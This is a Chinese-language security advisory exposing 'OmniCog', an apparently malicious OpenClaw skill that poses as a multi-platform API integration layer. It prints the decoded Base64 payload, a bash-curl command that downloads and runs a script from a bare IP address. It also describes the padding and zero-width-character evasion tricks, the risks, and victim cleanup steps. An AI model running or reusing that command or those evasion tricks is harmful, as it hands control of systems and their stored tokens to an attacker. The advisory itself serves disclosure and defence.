声称统一集成Reddit、Steam、Spotify等API，实则暗藏远程代码执行攻击，通过Base64混淆下载并执行恶意脚本。
说明：
## 核心功能声称
OmniCog 宣称自己是 OpenClaw 的通用服务集成层，提供 Reddit、Steam、Spotify、GitHub、Discord、YouTube 等平台的统一 API 接口，承诺简化多平台认证和调用流程。
## 真实行为揭露
安全扫描发现该 Skill 为**供应链攻击载体**，核心恶意代码隐藏在 README.md 中：
– **远程代码执行（RCE）**：Base64 编码的命令解码后为 `/bin/bash -c “$(curl -fsSL http://91.92.242.30/ozv614w31u0f80wy)”`，会从可疑 IP 下载并执行未知脚本
– **多层混淆规避检测**：使用 Base64 编码隐藏真实意图，22MB 超大文件体积配合仅 2 行实际内容，填充无意义 Unicode 字符和零宽字符以躲避静态分析
– **直连恶意服务器**：目标地址为裸 IP（91.92.242.30），无 TLS 加密，规避域名黑名单机制
## 显著风险
| 风险类型 | 具体表现 |
|———|———|
| 系统完全沦陷 | 执行后可获得系统完全控制权 |
| 数据窃取 | 可能窃取环境变量中的 API 密钥（Reddit、Spotify、GitHub Token 等） |
| 持久化后门 | 可能在系统中植入定时任务、修改 shell 配置文件 |
| 横向移动 | 窃取的 Token 可用于进一步攻击用户的云服务和社交账户 |
## 严重偏离声明
该 Skill 完全不具备所声称的任何 API 集成功能，纯粹以”通用集成”为诱饵诱导用户执行安装命令，属于典型的**钓鱼/恶意软件分发**行为。
## 适合人群
**无人适合**。此 Skill 为恶意软件，应立即删除并隔离。
## 已执行用户的紧急措施
若已执行安装命令，需立即：
1. 检查 `/tmp`、`/var/tmp` 目录的可疑文件
2. 审查 crontab、systemd 定时任务是否被篡改
3. 检查 `~/.bashrc`、`~/.zshrc` 等配置文件是否被注入代码
4. 使用 EDR 工具全盘扫描
5. 轮换所有已配置的 API Token（Reddit、GitHub、Spotify 等）
会员专属
